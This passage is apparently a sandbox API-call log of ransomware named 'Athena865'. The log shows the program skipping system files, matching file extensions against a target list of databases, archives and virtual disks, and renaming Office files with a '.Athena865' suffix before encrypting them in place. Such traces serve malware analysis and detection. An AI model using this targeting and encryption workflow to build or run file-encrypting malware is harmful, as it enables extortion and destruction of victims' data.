lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0068.663] lstrcmpiW (lpString1="CGMIMP32.HLP", lpString2=".") returned 1 [0068.663] lstrcmpiW (lpString1="CGMIMP32.HLP", lpString2="..") returned 1 [0068.663] lstrcmpiW (lpString1="CGMIMP32.HLP", lpString2="windows") returned -1 [0068.663] lstrcmpiW (lpString1="CGMIMP32.HLP", lpString2="bootmgr") returned 1 [0068.663] lstrcmpiW (lpString1="CGMIMP32.HLP", lpString2="temp") returned -1 [0068.663] lstrcmpiW (lpString1="CGMIMP32.HLP", lpString2="pagefile.sys") returned -1 [0068.663] lstrcmpiW (lpString1="CGMIMP32.HLP", lpString2="boot") returned 1 [0068.663] lstrcmpiW (lpString1="CGMIMP32.HLP", lpString2="ids.txt") returned -1 [0068.663] lstrcmpiW (lpString1="CGMIMP32.HLP", lpString2="ntuser.dat") returned -1 [0068.663] lstrcmpiW (lpString1="CGMIMP32.HLP", lpString2="perflogs") returned -1 [0068.663] lstrcmpiW (lpString1="CGMIMP32.HLP", lpString2="MSBuild") returned -1 [0068.663] lstrlenW (lpString="CGMIMP32.HLP") returned 12 [0068.663] lstrcpyW (in: lpString1=0x241e89e, lpString2="CGMIMP32.HLP" | out: lpString1="CGMIMP32.HLP") returned="CGMIMP32.HLP" [0068.663] lstrlenW (lpString="CGMIMP32.HLP") returned 12 [0068.663] lstrlenW (lpString="Athena865") returned 9 [0068.664] lstrcmpiW (lpString1="IMP32.HLP", lpString2="Athena865") returned 1 [0068.664] lstrlenW (lpString=".dll") returned 4 [0068.664] lstrcmpiW (lpString1="CGMIMP32.HLP", lpString2=".dll") returned 1 [0068.664] lstrlenW (lpString=".lnk") returned 4 [0068.664] lstrcmpiW (lpString1="CGMIMP32.HLP", lpString2=".lnk") returned 1 [0068.664] lstrlenW (lpString=".ini") returned 4 [0068.664] lstrcmpiW (lpString1="CGMIMP32.HLP", lpString2=".ini") returned 1 [0068.664] lstrlenW (lpString=".sys") returned 4 [0068.664] lstrcmpiW (lpString1="CGMIMP32.HLP", lpString2=".sys") returned 1 [0068.664] lstrlenW (lpString="CGMIMP32.HLP") returned 12 [0068.664] lstrlenW (lpString="bak") returned 3 [0068.664] lstrcmpiW (lpString1="HLP", lpString2="bak") returned 1 [0068.664] lstrlenW (lpString="ba_") returned 3 [0068.664] lstrcmpiW (lpString1="HLP", lpString2="ba_") returned 1 [0068.664] lstrlenW (lpString="dbb") returned 3 [0068.664] lstrcmpiW (lpString1="HLP", lpString2="dbb") returned 1 [0068.664] lstrlenW (lpString="vmdk") returned 4 [0068.664] lstrcmpiW (lpString1=".HLP", lpString2="vmdk") returned -1 [0068.664] lstrlenW (lpString="rar") returned 3 [0068.664] lstrcmpiW (lpString1="HLP", lpString2="rar") returned -1 [0068.664] lstrlenW (lpString="zip") returned 3 [0068.664] lstrcmpiW (lpString1="HLP", lpString2="zip") returned -1 [0068.664] lstrlenW (lpString="tgz") returned 3 [0068.664] lstrcmpiW (lpString1="HLP", lpString2="tgz") returned -1 [0068.664] lstrlenW (lpString="vbox") returned 4 [0068.664] lstrcmpiW (lpString1=".HLP", lpString2="vbox") returned -1 [0068.664] lstrlenW (lpString="vdi") returned 3 [0068.664] lstrcmpiW (lpString1="HLP", lpString2="vdi") returned -1 [0068.664] lstrlenW (lpString="vhd") returned 3 [0068.664] lstrcmpiW (lpString1="HLP", lpString2="vhd") returned -1 [0068.664] lstrlenW (lpString="vhdx") returned 4 [0068.664] lstrcmpiW (lpString1=".HLP", lpString2="vhdx") returned -1 [0068.664] lstrlenW (lpString="avhd") returned 4 [0068.664] lstrcmpiW (lpString1=".HLP", lpString2="avhd") returned -1 [0068.665] lstrlenW (lpString="db") returned 2 [0068.665] lstrcmpiW (lpString1="LP", lpString2="db") returned 1 [0068.665] lstrlenW (lpString="db2") returned 3 [0068.665] lstrcmpiW (lpString1="HLP", lpString2="db2") returned 1 [0068.665] lstrlenW (lpString="db3") returned 3 [0068.665] lstrcmpiW (lpString1="HLP", lpString2="db3") returned 1 [0068.665] lstrlenW (lpString="dbf") returned 3 [0068.665] lstrcmpiW (lpString1="HLP", lpString2="dbf") returned 1 [0068.665] lstrlenW (lpString="mdf") returned 3 [0068.665] lstrcmpiW (lpString1="HLP", lpString2="mdf") returned -1 [0068.665] lstrlenW (lpString="mdb") returned 3 [0068.665] lstrcmpiW (lpString1="HLP", lpString2="mdb") returned -1 [0068.665] lstrlenW (lpString="sql") returned 3 [0068.665] lstrcmpiW (lpString1="HLP", lpString2="sql") returned -1 [0068.665] lstrlenW (lpString="sqlite") returned 6 [0068.665] lstrcmpiW (lpString1="32.HLP", lpString2="sqlite") returned -1 [0068.665] lstrlenW (lpString="sqlite3") returned 7 [0068.665] lstrcmpiW (lpString1="P32.HLP", lpString2="sqlite3") returned -1 [0068.665] lstrlenW (lpString="sqlitedb") returned 8 [0068.665] lstrcmpiW (lpString1="MP32.HLP", lpString2="sqlitedb") returned -1 [0068.665] lstrlenW (lpString="xml") returned 3 [0068.665] lstrcmpiW (lpString1="HLP", lpString2="xml") returned -1 [0068.665] lstrlenW (lpString="$er") returned 3 [0068.665] lstrcmpiW (lpString1="HLP", lpString2="$er") returned 1 [0068.665] lstrlenW (lpString="4dd") returned 3 [0068.665] lstrcmpiW (lpString1="HLP", lpString2="4dd") returned 1 [0068.665] lstrlenW (lpString="4dl") returned 3 [0068.665] lstrcmpiW (lpString1="HLP", lpString2="4dl") returned 1 [0068.665] lstrlenW (lpString="^^^") returned 3 [0068.665] lstrcmpiW (lpString1="HLP", lpString2="^^^") returned 1 [0068.665] lstrlenW (lpString="abs") returned 3 [0068.665] lstrcmpiW (lpString1="HLP", lpString2="abs") returned 1 [0068.665] lstrlenW (lpString="abx") returned 3 [0068.665] lstrcmpiW (lpString1="HLP", lpString2="abx") returned 1 [0068.665] lstrlenW (lpString="accdb") returned 5 [0068.666] lstrcmpiW (lpString1="2.HLP", lpString2="accdb") returned -1 [0068.666] lstrlenW (lpString="accdc") returned 5 [0068.666] lstrcmpiW (lpString1="2.HLP", lpString2="accdc") returned -1 [0068.666] lstrlenW (lpString="accde") returned 5 [0068.666] lstrcmpiW (lpString1="2.HLP", lpString2="accde") returned -1 [0068.666] lstrlenW (lpString="accdr") returned 5 [0068.666] lstrcmpiW (lpString1="2.HLP", lpString2="accdr") returned -1 [0068.666] lstrlenW (lpString="accdt") returned 5 [0068.666] lstrcmpiW (lpString1="2.HLP", lpString2="accdt") returned -1 [0068.666] lstrlenW (lpString="accdw") returned 5 [0068.666] lstrcmpiW (lpString1="2.HLP", lpString2="accdw") returned -1 [0068.666] lstrlenW (lpString="accft") returned 5 [0068.666] lstrcmpiW (lpString1="2.HLP", lpString2="accft") returned -1 [0068.666] lstrlenW (lpString="adb") returned 3 [0068.666] lstrcmpiW (lpString1="HLP", lpString2="adb") returned 1 [0068.666] lstrlenW (lpString="adb") returned 3 [0068.666] lstrcmpiW (lpString1="HLP", lpString2="adb") returned 1 [0068.666] lstrlenW (lpString="ade") returned 3 [0068.666] lstrcmpiW (lpString1="HLP", lpString2="ade") returned 1 [0068.666] lstrlenW (lpString="adf") returned 3 [0068.666] lstrcmpiW (lpString1="HLP", lpString2="adf") returned 1 [0068.666] lstrlenW (lpString="adn") returned 3 [0068.666] lstrcmpiW (lpString1="HLP", lpString2="adn") returned 1 [0068.666] lstrlenW (lpString="adp") returned 3 [0068.666] lstrcmpiW (lpString1="HLP", lpString2="adp") returned 1 [0068.666] lstrlenW (lpString="alf") returned 3 [0068.666] lstrcmpiW (lpString1="HLP", lpString2="alf") returned 1 [0068.666] lstrlenW (lpString="ask") returned 3 [0068.666] lstrcmpiW (lpString1="HLP", lpString2="ask") returned 1 [0068.666] lstrlenW (lpString="btr") returned 3 [0068.666] lstrcmpiW (lpString1="HLP", lpString2="btr") returned 1 [0068.666] lstrlenW (lpString="cat") returned 3 [0068.666] lstrcmpiW (lpString1="HLP", lpString2="cat") returned 1 [0068.666] lstrlenW (lpString="cdb") returned 3 [0068.666] lstrcmpiW (lpString1="HLP", lpString2="cdb") returned 1 [0068.667] lstrlenW (lpString="ckp") returned 3 [0068.667] lstrcmpiW (lpString1="HLP", lpString2="ckp") returned 1 [0068.667] lstrlenW (lpString="cma") returned 3 [0068.667] lstrcmpiW (lpString1="HLP", lpString2="cma") returned 1 [0068.667] lstrlenW (lpString="cpd") returned 3 [0068.667] lstrcmpiW (lpString1="HLP", lpString2="cpd") returned 1 [0068.667] lstrlenW (lpString="dacpac") returned 6 [0068.667] lstrcmpiW (lpString1="32.HLP", lpString2="dacpac") returned -1 [0068.667] lstrlenW (lpString="dad") returned 3 [0068.667] lstrcmpiW (lpString1="HLP", lpString2="dad") returned 1 [0068.667] lstrlenW (lpString="dadiagrams") returned 10 [0068.667] lstrcmpiW (lpString1="MIMP32.HLP", lpString2="dadiagrams") returned 1 [0068.667] lstrlenW (lpString="daschema") returned 8 [0068.667] lstrcmpiW (lpString1="MP32.HLP", lpString2="daschema") returned 1 [0068.667] lstrlenW (lpString="db-journal") returned 10 [0068.667] lstrcmpiW (lpString1="MIMP32.HLP", lpString2="db-journal") returned 1 [0068.667] lstrlenW (lpString="db-shm") returned 6 [0068.667] lstrcmpiW (lpString1="32.HLP", lpString2="db-shm") returned -1 [0068.667] lstrlenW (lpString="db-wal") returned 6 [0068.667] lstrcmpiW (lpString1="32.HLP", lpString2="db-wal") returned -1 [0068.667] lstrlenW (lpString="dbc") returned 3 [0068.667] lstrcmpiW (lpString1="HLP", lpString2="dbc") returned 1 [0068.667] lstrlenW (lpString="dbs") returned 3 [0068.667] lstrcmpiW (lpString1="HLP", lpString2="dbs") returned 1 [0068.667] lstrlenW (lpString="dbt") returned 3 [0068.667] lstrcmpiW (lpString1="HLP", lpString2="dbt") returned 1 [0068.667] lstrlenW (lpString="dbv") returned 3 [0068.667] lstrcmpiW (lpString1="HLP", lpString2="dbv") returned 1 [0068.667] lstrlenW (lpString="dbx") returned 3 [0068.667] lstrcmpiW (lpString1="HLP", lpString2="dbx") returned 1 [0068.667] lstrlenW (lpString="dcb") returned 3 [0068.667] lstrcmpiW (lpString1="HLP", lpString2="dcb") returned 1 [0068.667] lstrcmpiW (lpString1="HLP", lpString2="dct") returned 1 [0068.668] lstrcmpiW (lpString1="HLP", lpString2="dcx") returned 1 [0068.668] lstrcmpiW (lpString1="HLP", lpString2="ddl") returned 1 [0068.668] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\CGMIMP32.HLP.Athena865") returned 65 [0068.668] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\CGMIMP32.HLP" (normalized: "c:\\program files\\microsoft office\\office14\\cgmimp32.hlp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\CGMIMP32.HLP.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\cgmimp32.hlp.athena865"), dwFlags=0x1) returned 1 [0068.669] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CGMIMP32.HLP.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\cgmimp32.hlp.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0068.669] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=31497) returned 1 [0068.669] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0068.670] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0068.670] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0068.670] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0068.670] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0068.670] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0068.671] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7e10, lpName=0x0) returned 0x154 [0068.672] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7e10) returned 0x100000 [0068.674] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0068.675] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0068.675] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0068.675] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0068.675] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0068.675] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0068.675] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0068.675] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0068.675] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0068.675] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0068.675] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0068.675] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0068.675] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0068.675] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0068.676] CloseHandle (hObject=0x154) returned 1 [0068.676] CloseHandle (hObject=0x17c) returned 1 [0068.676] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0068.676] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0068.676] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0068.676] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb44f4800, ftCreationTime.dwHighDateTime=0x1c21319, ftLastAccessTime.dwLowDateTime=0x60382570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb44f4800, ftLastWriteTime.dwHighDateTime=0x1c21319, nFileSizeHigh=0x0, nFileSizeLow=0xdcc2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CharSetTable.chr", cAlternateFileName="CHARSE~1.CHR")) returned 1 [0068.676] lstrcmpiW (lpString1="CharSetTable.chr", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0068.676] lstrcmpiW (lpString1="CharSetTable.chr", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0068.676] lstrcmpiW (lpString1="CharSetTable.chr", lpString2=".") returned 1 [0068.676] lstrcmpiW (lpString1="CharSetTable.chr", lpString2="..") returned 1 [0068.676] lstrcmpiW (lpString1="CharSetTable.chr", lpString2="windows") returned -1 [0068.676] lstrcmpiW (lpString1="CharSetTable.chr", lpString2="bootmgr") returned 1 [0068.676] lstrcmpiW (lpString1="CharSetTable.chr", lpString2="temp") returned -1 [0068.677] lstrcmpiW (lpString1="CharSetTable.chr", lpString2="pagefile.sys") returned -1 [0068.677] lstrcmpiW (lpString1="CharSetTable.chr", lpString2="boot") returned 1 [0068.677] lstrcmpiW (lpString1="CharSetTable.chr", lpString2="ids.txt") returned -1 [0068.677] lstrcmpiW (lpString1="CharSetTable.chr", lpString2="ntuser.dat") returned -1 [0068.677] lstrcmpiW (lpString1="CharSetTable.chr", lpString2="perflogs") returned -1 [0068.677] lstrcmpiW (lpString1="CharSetTable.chr", lpString2="MSBuild") returned -1 [0068.677] lstrlenW (lpString="CharSetTable.chr") returned 16 [0068.677] lstrcpyW (in: lpString1=0x241e89e, lpString2="CharSetTable.chr" | out: lpString1="CharSetTable.chr") returned="CharSetTable.chr" [0068.677] lstrlenW (lpString="CharSetTable.chr") returned 16 [0068.677] lstrlenW (lpString="Athena865") returned 9 [0068.677] lstrcmpiW (lpString1="Table.chr", lpString2="Athena865") returned 1 [0068.677] lstrlenW (lpString=".dll") returned 4 [0068.677] lstrcmpiW (lpString1="CharSetTable.chr", lpString2=".dll") returned 1 [0068.677] lstrlenW (lpString=".lnk") returned 4 [0068.677] lstrcmpiW (lpString1="CharSetTable.chr", lpString2=".lnk") returned 1 [0068.677] lstrlenW (lpString=".ini") returned 4 [0068.677] lstrcmpiW (lpString1="CharSetTable.chr", lpString2=".ini") returned 1 [0068.677] lstrlenW (lpString=".sys") returned 4 [0068.677] lstrcmpiW (lpString1="CharSetTable.chr", lpString2=".sys") returned 1 [0068.677] lstrlenW (lpString="CharSetTable.chr") returned 16 [0068.677] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\CharSetTable.chr.Athena865") returned 69 [0068.677] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\CharSetTable.chr" (normalized: "c:\\program files\\microsoft office\\office14\\charsettable.chr"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\CharSetTable.chr.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\charsettable.chr.athena865"), dwFlags=0x1) returned 1 [0068.678] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CharSetTable.chr.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\charsettable.chr.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0068.679] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=56514) returned 1 [0068.679] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0068.679] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0068.679] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0068.679] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0068.680] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0068.680] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0068.680] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xdfd0, lpName=0x0) returned 0x154 [0068.681] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xdfd0) returned 0x100000 [0068.686] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0068.686] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0068.686] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0068.686] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0068.687] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0068.687] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0068.687] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0068.687] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0068.687] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0068.687] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0068.687] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0068.687] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0068.687] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0068.687] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0068.688] CloseHandle (hObject=0x154) returned 1 [0068.688] CloseHandle (hObject=0x17c) returned 1 [0068.688] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0068.688] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0068.688] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0068.688] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22bf4c00, ftCreationTime.dwHighDateTime=0x1cba06e, ftLastAccessTime.dwLowDateTime=0xcf0edea0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x22bf4c00, ftLastWriteTime.dwHighDateTime=0x1cba06e, nFileSizeHigh=0x0, nFileSizeLow=0x41f78, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CLVIEW.EXE", cAlternateFileName="")) returned 1 [0068.688] lstrcmpiW (lpString1="CLVIEW.EXE", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0068.688] lstrcmpiW (lpString1="CLVIEW.EXE", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0068.688] lstrcmpiW (lpString1="CLVIEW.EXE", lpString2=".") returned 1 [0068.688] lstrcmpiW (lpString1="CLVIEW.EXE", lpString2="..") returned 1 [0068.688] lstrcmpiW (lpString1="CLVIEW.EXE", lpString2="windows") returned -1 [0068.688] lstrcmpiW (lpString1="CLVIEW.EXE", lpString2="bootmgr") returned 1 [0068.688] lstrcmpiW (lpString1="CLVIEW.EXE", lpString2="temp") returned -1 [0068.688] lstrcmpiW (lpString1="CLVIEW.EXE", lpString2="pagefile.sys") returned -1 [0068.688] lstrcmpiW (lpString1="CLVIEW.EXE", lpString2="boot") returned 1 [0068.689] lstrcmpiW (lpString1="CLVIEW.EXE", lpString2="ids.txt") returned -1 [0068.689] lstrcmpiW (lpString1="CLVIEW.EXE", lpString2="ntuser.dat") returned -1 [0068.689] lstrcmpiW (lpString1="CLVIEW.EXE", lpString2="perflogs") returned -1 [0068.689] lstrcmpiW (lpString1="CLVIEW.EXE", lpString2="MSBuild") returned -1 [0068.689] lstrlenW (lpString="CLVIEW.EXE") returned 10 [0068.689] lstrcpyW (in: lpString1=0x241e89e, lpString2="CLVIEW.EXE" | out: lpString1="CLVIEW.EXE") returned="CLVIEW.EXE" [0068.689] lstrlenW (lpString="CLVIEW.EXE") returned 10 [0068.689] lstrlenW (lpString="Athena865") returned 9 [0068.689] lstrcmpiW (lpString1="LVIEW.EXE", lpString2="Athena865") returned 1 [0068.689] lstrlenW (lpString=".dll") returned 4 [0068.689] lstrcmpiW (lpString1="CLVIEW.EXE", lpString2=".dll") returned 1 [0068.689] lstrlenW (lpString=".lnk") returned 4 [0068.689] lstrcmpiW (lpString1="CLVIEW.EXE", lpString2=".lnk") returned 1 [0068.689] lstrlenW (lpString=".ini") returned 4 [0068.689] lstrcmpiW (lpString1="CLVIEW.EXE", lpString2=".ini") returned 1 [0068.689] lstrlenW (lpString=".sys") returned 4 [0068.689] lstrcmpiW (lpString1="CLVIEW.EXE", lpString2=".sys") returned 1 [0068.689] lstrlenW (lpString="CLVIEW.EXE") returned 10 [0068.689] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\CLVIEW.EXE.Athena865") returned 63 [0068.689] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\CLVIEW.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\clview.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\CLVIEW.EXE.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\clview.exe.athena865"), dwFlags=0x1) returned 1 [0068.690] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CLVIEW.EXE.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\clview.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0068.691] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=270200) returned 1 [0068.691] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0068.691] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0068.691] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0068.691] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0068.692] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0068.692] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0068.692] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x42280, lpName=0x0) returned 0x154 [0068.694] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x42280) returned 0x2d50000 [0068.703] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0068.704] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0068.704] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0068.704] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0068.704] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0068.704] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0068.704] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0068.704] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0068.704] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0068.704] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0068.709] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0068.709] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0068.709] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0068.709] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0068.711] CloseHandle (hObject=0x154) returned 1 [0068.711] CloseHandle (hObject=0x17c) returned 1 [0068.711] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0068.711] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0068.711] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0068.713] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2149b700, ftCreationTime.dwHighDateTime=0x1cb701e, 